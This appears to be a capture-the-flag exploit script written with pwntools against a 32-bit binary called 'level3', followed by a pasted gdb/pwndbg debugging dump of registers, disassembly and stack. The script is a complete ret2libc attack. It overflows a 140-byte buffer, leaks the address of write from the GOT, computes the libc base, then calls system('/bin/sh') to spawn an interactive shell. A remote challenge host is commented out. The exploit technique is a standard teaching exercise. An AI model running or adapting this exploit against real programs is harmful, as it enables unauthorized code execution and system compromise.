#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.terminal = ['terminator','-x','sh','-c']
elf=ELF('./level3')
r=process('level3')
#r=remote("pwn2.jarvisoj.com","9879")
pwnlib.gdb.attach(r)
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.symbols['main']
payload=flat(['a'*140,write_plt,main,1,write_got,4])
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u32(r.recv(4))
libc = ELF('./libc-2.19.so')
base_addr = write_addr - libc.symbols['write']
sys_addr=base_addr+libc.symbols['system']
binsh_addr=base_addr+libc.search('/bin/sh').next()
payload=flat(['a'*140,sys_addr,'a'*4,binsh_addr])
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()
EAX 0x99
EBX 0x0
ECX 0xfffa9d00 ◂— 0x61616161 ('aaaa')
EDX 0x100
EDI 0x0
ESI 0xf7f33000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0x61616161 ('aaaa')
ESP 0xfffa9d8c —▸ 0xf7da70b0 (__printf_fp_l+736) ◂— dec dword ptr [ebx + 0xd0bb]
EIP 0x8048483 (vulnerable_function+56) ◂— ret
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
0x8048477 <vulnerable_function+44> push 0
0x8048479 <vulnerable_function+46> call read@plt <0x8048310>
0x804847e <vulnerable_function+51> add esp, 0x10
0x8048481 <vulnerable_function+54> nop
0x8048482 <vulnerable_function+55> leave
► 0x8048483 <vulnerable_function+56> ret <0xf7da70b0; __printf_fp_l+736>
↓
0xf7da70b0 <__printf_fp_l+736> dec dword ptr [ebx + 0xd0bb]
0xf7da70b6 <__printf_fp_l+742> add byte ptr [ebp + 0x6cbd89ff], al
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp 0xfffa9d8c —▸ 0xf7da70b0 (__printf_fp_l+736) ◂— dec dword ptr [ebx + 0xd0bb]
01:0004│ 0xfffa9d90 ◂— 0x61616161 ('aaaa')
02:0008│ 0xfffa9d94 —▸ 0xf7ec75ec (translit_to_tbl+14636) ◂— add byte ptr [eax], al
03:000c│ 0xfffa9d98 ◂— 0x6161610a ('\naaa')
04:0010│ 0xfffa9d9c ◂— 0x1
05:0014│ 0xfffa9da0 —▸ 0x8048484 (main) ◂— lea ecx, [esp + 4]
06:0018│ 0xfffa9da4 ◂— 0x1
07:001c│ 0xfffa9da8 —▸ 0x804a018 (write@got.plt) —▸ 0xf7e41d80 (write) ◂— push esi
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
► f 0 8048483 vulnerable_function+56
f 1 f7da70b0 __printf_fp_l+736
gdb-peda$
